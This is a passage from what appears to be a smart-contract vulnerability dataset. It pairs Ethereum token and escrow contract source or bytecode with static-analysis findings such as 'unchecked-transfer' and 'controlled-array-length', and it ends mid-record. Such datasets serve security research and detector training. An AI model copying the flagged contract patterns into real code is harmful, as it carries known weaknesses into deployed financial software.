8416600090815260016020526040902080548490811061171357fe5b906000526020600020906007020160005b506005015460ff161561175857507f50656e64696e6720457363726f77204465636973696f6e00000000000000000061177b565b507f496e2050726f67726573730000000000000000000000000000000000000000005b5b5b8091505b5092915050565b600054600160a060020a031681565b600160a060020a033316600090815260026020526040812080548291829182918291879081106117c357fe5b906000526020600020906002020160005b5054600160a060020a03338116600090815260026020526040902080549190921696508790811061180157fe5b906000526020600020906002020160005b506001015493506001600086600160a060020a0316600160a060020a031681526020019081526020016000208481548110151561184b57fe5b906000526020600020906007020160005b5060050154610100900460ff161580156118b65750600160a060020a038516600090815260016020526040902080548590811061189557fe5b906000526020600020906007020160005b506005015462010000900460ff16155b15156118c157600080fd5b600160a060020a03851660009081526001602052604090208054859081106118e557fe5b906000526020600020906007020160005b5060020154600160a060020a03868116600090815260016020526040902080549190921694508590811061192657fe5b906000526020600020906007020160005b5060030154600160a060020a03861660009081526001602052604090208054919350908590811061196457fe5b906000526020600020906007020160005b5060040154600160a060020a038616600090815260016020819052604090912080549293509091869081106119a657fe5b906000526020600020906007020160005b506005018054911515620100000262ff000019909216919091179055600160a060020a038086166000908152600460205260408082208054850190559185168152208054830190555b505050505050565b600160a060020a033316600090815260036020526040812080548291829182919087908110611a3357fe5b906000526020600020906002020160005b5054600160a060020a033381166000908152600360205260409020805491909216955087908110611a7157fe5b906000526020600020906002020160005b506001015492506001600085600160a060020a0316600160a060020a0316815260200190815260200160002083815481101515611abb57fe5b906000526020600020906007020160005b5060050154610100900460ff16158015611b245750600160a060020a0384166000908152600160205260409020805484908110611b0557fe5b906000526020600020906007020160005b506005015460ff1615156001145b8015611b705750600160a060020a0384166000908152600160205260409020805484908110611b4f57fe5b906000526020600020906007020160005b506005015462010000900460ff16155b1515611b7b57600080fd5b600160a060020a0384166000908152600160205260409020805484908110611b9f57fe5b906000526020600020906007020160005b5060030154600160a060020a038516600090815260016020526040902080549193509084908110611bdd57fe5b906000526020600020906007020160005b50600401549050841515611c8257600160a060020a0384166000908152600160208190526040909120805485908110611c2357fe5b906000526020600020906007020160005b506005018054911515620100000262ff000019909216919091179055600160a060020a0380851660009081526004602052604080822080548501905533909216815220805483019055611a00565b8460011415611a0057600160a060020a0384166000908152600160208190526040909120805485908110611cb257fe5b906000526020600020906007020160005b5060050180549115156101000261ff0019909216919091179055600160a060020a038416600090815260016020526040812080548392600492909187908110611d0857fe5b906000526020600020906007020160005b5060010154600160a060020a03908116825260208083019390935260409182016000908120805490950190945533168352600490915290208054830190555b5b5b505050505050565b600160205281600052604060002081815481101515611d7d57fe5b906000526020600020906007020160005b50805460018201546002830154600384015460048501546005860154600690960154600160a060020a03958616985093851696509190931693909160ff808316926101008104821692620100009091049091169089565b6000811515611e0d5750600160a060020a038216600090815260016020526040902054611e50565b8160011415611e355750600160a060020a038216600090815260026020526040902054611e50565b50600160a060020a0382166000908152600360205260409020545b5b5b92915050565b611e60612749565b611e68612749565b611e70612749565b611e78612749565b611e80612749565b611e88612749565b611e90612749565b611e98612749565b600089604051805910611ea85750595b908082528060200260200182016040525b50945089604051805910611eca5750595b908082528060200260200182016040525b50935089604051805910611eec5750595b908082528060200260200182016040525b50925089604051805910611f0e5750595b908082528060200260200182016040525b509150600090505b89811015610bfa57600160a060020a038c166000908152600360205260409020548110611f5357610bfa565b600160a060020a038c16600090815260036020526040902080548c8301908110611f7957fe5b906000526020600020906002020160005b5054600160a060020a0316858281518110611fa157fe5b600160a060020a0390921660209283029091019091015260016000868381518110611fc857fe5b90602001906020020151600160a060020a0316600160a060020a03168152602001908152602001600020600360008e600160a060020a0316600160a060020a03168152602001908152602001600020828d0181548110151561202657fe5b906000526020600020906002020160005b50600101548154811061204657fe5b906000526020600020906007020160005b5060010154600160a060020a031684828151811061207157fe5b600160a060020a039092166020928302909101909101526001600086838151811061209857fe5b90602001906020020151600160a060020a0316600160a060020a03168152602001908152602001600020600360008e600160a060020a0316600160a060020a03168152602001908152602001600020828d018154811015156120f657fe5b906000526020600020906002020160005b50600101548154811061211657fe5b906000526020600020906007020160005b506004015483828151811061213857fe5b6020908102909101015261219c85828151811061215157fe5b90602001906020020151600160a060020a038e16600090815260036020526040902080548e8501908110610bc057fe5b906000526020600020906002020160005b506001015461160f565b8282815181106121a857fe5b602090810290910101525b600101611f27565b8484848498509850985098505b505050505093509350935093565b600160a060020a033316600090815260016020526040812054819081908190851080156122425750600160a060020a033316600090815260016020526040902080548690811061222257fe5b906000526020600020906007020160005b5060050154610100900460ff16155b801561228e5750600160a060020a033316600090815260016020526040902080548690811061226d57fe5b906000526020600020906007020160005b506005015462010000900460ff16155b151561229957600080fd5b600160a060020a03331660009081526001602081905260409091208054879081106122c057fe5b906000526020600020906007020160005b5060050180549115156101000261ff0019909216919091179055600160a060020a033316600090815260016020526040902080548690811061230f57fe5b906000526020600020906007020160005b50600190810154600160a060020a03338116600090815260209390935260409092208054929091169550908690811061235557fe5b906000526020600020906007020160005b5060020154600160a060020a03338116600090815260016020526040902080549190921694508690811061239657fe5b906000526020600020906007020160005b5060040154600160a060020a0333166000908152600160205260409020805491935090869081106123d457fe5b906000526020600020906007020160005b5060030154600160a060020a0380861660009081526004602052604080822080548701905591861681522080548201905590505b5050505050565b600061242a61277f565b6124326127cb565b60008034118015612455575085600160a060020a031633600160a060020a031614155b151561246057600080fd5b600160a060020a0333811684528781166020850152861660408401526103e834612489886115f0565b0281151561249357fe5b046060840152610190345b60008054600160a060020a03168152600460205260409020805492909104918201905590506060830151348290030360808401526101008301859052600160a060020a0333811680845260009081526001602081815260408084205482880152938b1683526002905291902080549091810161251a83826127e2565b916000526020600020906002020160005b50839081518154600160a060020a031916600160a060020a03919091161781556020820151600191820155600160a060020a038916600090815260036020526040902080549093509150810161258183826127e2565b916000526020600020906002020160005b50839081518154600160a060020a031916600160a060020a03919091161781556020820151600191820155600160a060020a03331660009081526020829052604090208054909350915081016125e88382612814565b916000526020600020906007020160005b50849081518154600160a060020a031916600160a060020a03919091161781556020820151600182018054600160a060020a031916600160a060020a03929092169190911790556040820151600282018054600160a060020a031916600160a060020a0392909216919091179055606082015181600301556080820151816004015560a082015160058201805460ff191691151591909117905560c08201516005820180549115156101000261ff001990921691909117905560e0820151600582018054911515620100000262ff0000199092169190911790556101008201516006909101555060019450505b5050509392505050565b600360205281600052604060002081815481101515610c6c57fe5b906000526020600020906002020160005b508054600190910154600160a060020a039091169250905082565b60046020526000908152604090205481565b60206040519081016040526000815290565b60206040519081016040526000815290565b60206040519081016040526000815290565b6101206040519081016040908152600080835260208301819052908201819052606082018190526080820181905260a0820181905260c0820181905260e0820181905261010082015290565b604080519081016040526000808252602082015290565b81548183558181151161280e5760020281600202836000526020600020918201910161280e9190612846565b5b505050565b81548183558181151161280e5760070281600702836000526020600020918201910161280e9190612878565b5b505050565b61287591905b80821115612871578054600160a060020a03191681556000600182015560020161284c565b5090565b90565b61287591905b80821115612871578054600160a060020a031990811682556001820180548216905560028201805490911690556000600382018190556004820181905560058201805462ffffff19169055600682015560070161287e565b5090565b905600a165627a7a723058206e0b7e935ef8c64dcdccf4ffd8eb9ebce807ce1aad0e7b8583aecaa39960b6240029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
10,418
0xfde8d226bec6df6ef26595821be39f113481fa31
pragma solidity ^0.4.23; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // custom Pausable implementation for DGAS /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event PausePublic(bool newState); event PauseOwnerAdmin(bool newState); bool public pausedPublic = true; bool public pausedOwnerAdmin = false; address public admin; /** * @dev Modifier to make a function callable based on pause states. */ modifier whenNotPaused() { if(pausedPublic) { if(!pausedOwnerAdmin) { require(msg.sender == admin || msg.sender == owner); } else { revert(); } } _; } /** * @dev called by the owner to set new pause flags * pausedPublic can't be false while pausedOwnerAdmin is true */ function pause(bool newPausedPublic, bool newPausedOwnerAdmin) onlyOwner public { require(!(newPausedPublic == false && newPausedOwnerAdmin == true)); pausedPublic = newPausedPublic; pausedOwnerAdmin = newPausedOwnerAdmin; emit PausePublic(newPausedPublic); emit PauseOwnerAdmin(newPausedOwnerAdmin); } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Pausable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title Pausable token * * @dev MintableToken **/ contract PausableToken is MintableToken { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract DGASToken is PausableToken { string public constant name = "DGAS Token"; string public constant symbol = "DGAS"; uint8 public constant decimals = 18; modifier validDestination( address to ) { require(to != address(0x0)); require(to != address(this)); _; } constructor( address _admin, uint _totalTokenAmount ) public { // assign the admin account admin = _admin; // assign the total tokens to DGAS totalSupply = _totalTokenAmount; balances[msg.sender] = _totalTokenAmount; emit Transfer(address(0x0), msg.sender, _totalTokenAmount); } function transfer(address _to, uint _value) validDestination(_to) public returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) validDestination(_to) public returns (bool) { return super.transferFrom(_from, _to, _value); } event Burn(address indexed _burner, uint _value); function burn(uint _value) public returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(msg.sender, _value); emit Transfer(msg.sender, address(0x0), _value); return true; } // save some gas by making only one contract call function burnFrom(address _from, uint256 _value) public returns (bool) { assert( transferFrom( _from, msg.sender, _value ) ); return burn(_value); } function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner public { // owner can drain tokens that are sent here by mistake token.transfer( owner, amount ); } event AdminTransferred(address indexed previousAdmin, address indexed newAdmin); function changeAdmin(address newAdmin) onlyOwner public { // owner can re-assign the admin emit AdminTransferred(admin, newAdmin); admin = newAdmin; } }
0x60806040526004361061013d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461014257806306fdde031461016b578063095ea7b3146101f557806318160ddd1461021957806323b872dd1461024057806324bb7c261461026a578063313ce5671461027f57806340c10f19146102aa57806342966c68146102ce57806364779ad7146102e657806366188463146102fb57806370a082311461031f57806379cc6790146103405780637d64bcb4146103645780638da5cb5b146103795780638f283970146103aa57806395d89b41146103cd578063a9059cbb146103e2578063d73dd62314610406578063db0e16f11461042a578063dd62ed3e1461044e578063ddeb509414610475578063f2fde38b14610494578063f851a440146104b5575b600080fd5b34801561014e57600080fd5b506101576104ca565b604080519115158252519081900360200190f35b34801561017757600080fd5b506101806104da565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020157600080fd5b50610157600160a060020a0360043516602435610511565b34801561022557600080fd5b5061022e610580565b60408051918252519081900360200190f35b34801561024c57600080fd5b50610157600160a060020a0360043581169060243516604435610586565b34801561027657600080fd5b506101576105d3565b34801561028b57600080fd5b506102946105e3565b6040805160ff9092168252519081900360200190f35b3480156102b657600080fd5b50610157600160a060020a03600435166024356105e8565b3480156102da57600080fd5b506101576004356106e5565b3480156102f257600080fd5b506101576107b4565b34801561030757600080fd5b50610157600160a060020a03600435166024356107c4565b34801561032b57600080fd5b5061022e600160a060020a036004351661082c565b34801561034c57600080fd5b50610157600160a060020a0360043516602435610847565b34801561037057600080fd5b50610157610865565b34801561038557600080fd5b5061038e6108ed565b60408051600160a060020a039092168252519081900360200190f35b3480156103b657600080fd5b506103cb600160a060020a03600435166108fc565b005b3480156103d957600080fd5b50610180610980565b3480156103ee57600080fd5b50610157600160a060020a03600435166024356109b7565b34801561041257600080fd5b50610157600160a060020a0360043516602435610a02565b34801561043657600080fd5b506103cb600160a060020a0360043516602435610a6a565b34801561045a57600080fd5b5061022e600160a060020a0360043581169060243516610b24565b34801561048157600080fd5b506103cb60043515156024351515610b4f565b3480156104a057600080fd5b506103cb600160a060020a0360043516610c41565b3480156104c157600080fd5b5061038e610cda565b60045460a060020a900460ff1681565b60408051808201909152600a81527f4447415320546f6b656e00000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561056f5760035460a860020a900460ff16151561013d5760045433600160a060020a0390811691161480610564575060035433600160a060020a039081169116145b151561056f57600080fd5b6105798383610ce9565b9392505050565b60005481565b600082600160a060020a038116151561059e57600080fd5b30600160a060020a031681600160a060020a0316141515156105bf57600080fd5b6105ca858585610d53565b95945050505050565b60035460a060020a900460ff1681565b601281565b60035460009033600160a060020a0390811691161461060657600080fd5b60045460a060020a900460ff161561061d57600080fd5b600054610630908363ffffffff610dbc16565b6000908155600160a060020a03841681526001602052604090205461065b908363ffffffff610dbc16565b600160a060020a038416600081815260016020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a0385169160009160008051602061123e8339815191529181900360200190a350600192915050565b600160a060020a03331660009081526001602052604081205461070e908363ffffffff610dcf16565b600160a060020a0333166000908152600160205260408120919091555461073b908363ffffffff610dcf16565b600055604080518381529051600160a060020a033316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a260408051838152905160009133600160a060020a03169160008051602061123e8339815191529181900360200190a3506001919050565b60035460a860020a900460ff1681565b60035460009060a060020a900460ff16156108225760035460a860020a900460ff16151561013d5760045433600160a060020a0390811691161480610817575060035433600160a060020a039081169116145b151561082257600080fd5b6105798383610de1565b600160a060020a031660009081526001602052604090205490565b6000610854833384610586565b151561085c57fe5b610579826106e5565b60035460009033600160a060020a0390811691161461088357600080fd5b60045460a060020a900460ff161561089a57600080fd5b6004805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b60035433600160a060020a0390811691161461091757600080fd5b600454604051600160a060020a038084169216907ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec690600090a36004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60408051808201909152600481527f4447415300000000000000000000000000000000000000000000000000000000602082015281565b600082600160a060020a03811615156109cf57600080fd5b30600160a060020a031681600160a060020a0316141515156109f057600080fd5b6109fa8484610eda565b949350505050565b60035460009060a060020a900460ff1615610a605760035460a860020a900460ff16151561013d5760045433600160a060020a0390811691161480610a55575060035433600160a060020a039081169116145b1515610a6057600080fd5b6105798383610f42565b60035433600160a060020a03908116911614610a8557600080fd5b600354604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810184905290519184169163a9059cbb916044808201926020929091908290030181600087803b158015610af457600080fd5b505af1158015610b08573d6000803e3d6000fd5b505050506040513d6020811015610b1e57600080fd5b50505050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610b6a57600080fd5b81158015610b7a57506001811515145b15610b8457600080fd5b6003805482151560a860020a0275ff0000000000000000000000000000000000000000001985151560a060020a810274ff00000000000000000000000000000000000000001990941693909317161790915560408051918252517fa14d191ca4f53bfcf003c65d429362010a2d3d68bc0c50cce4bdc0fccf661fb09181900360200190a160408051821515815290517fc77636fc4a62a1fa193ef538c0b7993a1313a0d9c0a9173058cebcd3239ef7b59181900360200190a15050565b60035433600160a060020a03908116911614610c5c57600080fd5b600160a060020a0381161515610c7157600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600454600160a060020a031681565b600160a060020a03338116600081815260026020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60035460009060a060020a900460ff1615610db15760035460a860020a900460ff16151561013d5760045433600160a060020a0390811691161480610da6575060035433600160a060020a039081169116145b1515610db157600080fd5b6109fa848484610fe4565b81810182811015610dc957fe5b92915050565b600082821115610ddb57fe5b50900390565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610e3e57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610e75565b610e4e818463ffffffff610dcf16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b60035460009060a060020a900460ff1615610f385760035460a860020a900460ff16151561013d5760045433600160a060020a0390811691161480610f2d575060035433600160a060020a039081169116145b1515610f3857600080fd5b6105798383611154565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610f7a908363ffffffff610dbc16565b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b6000600160a060020a0383161515610ffb57600080fd5b600160a060020a03841660009081526001602052604090205482111561102057600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561105357600080fd5b600160a060020a03841660009081526001602052604090205461107c908363ffffffff610dcf16565b600160a060020a0380861660009081526001602052604080822093909355908516815220546110b1908363ffffffff610dbc16565b600160a060020a038085166000908152600160209081526040808320949094558783168252600281528382203390931682529190915220546110f9908363ffffffff610dcf16565b600160a060020a0380861660008181526002602090815260408083203386168452825291829020949094558051868152905192871693919260008051602061123e833981519152929181900390910190a35060019392505050565b6000600160a060020a038316151561116b57600080fd5b600160a060020a03331660009081526001602052604090205482111561119057600080fd5b600160a060020a0333166000908152600160205260409020546111b9908363ffffffff610dcf16565b600160a060020a0333811660009081526001602052604080822093909355908516815220546111ee908363ffffffff610dbc16565b600160a060020a0380851660008181526001602090815260409182902094909455805186815290519193339093169260008051602061123e83398151915292918290030190a3506001929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820a5d35edcef9f5193aca9094477f6fafe956adc960e8357f32d28f184ea92baf90029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
10,419
0x0bebe618cd4971b33bcffca42f339cbd56270f29
/** *Submitted for verification at Etherscan.io on 2022-03-05 */ /** https://t.me/TosaInuEntry https://Tosa.cc * TOKENOMICS * 1,000,000,000,000 token supply * FIRST TWO MINUTES: 5,000,000,000 max buy / 30-second buy cooldown (these limitations are lifted automatically two minutes post-launch) * 15-second cooldown to sell after a buy * 12% tax on buys and sells * 25% fee on sells within first (1) hour post-launch * Max wallet of 3% of total supply for first (1) hour post-launch * No team tokens, no presale SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TOSA is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e12 * 10**9; string public constant name = unicode"Tosa Inu"; //// string public constant symbol = unicode"TOSA"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeAddress1; address payable public _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 12; uint public _sellFee = 12; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (1 hours)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance 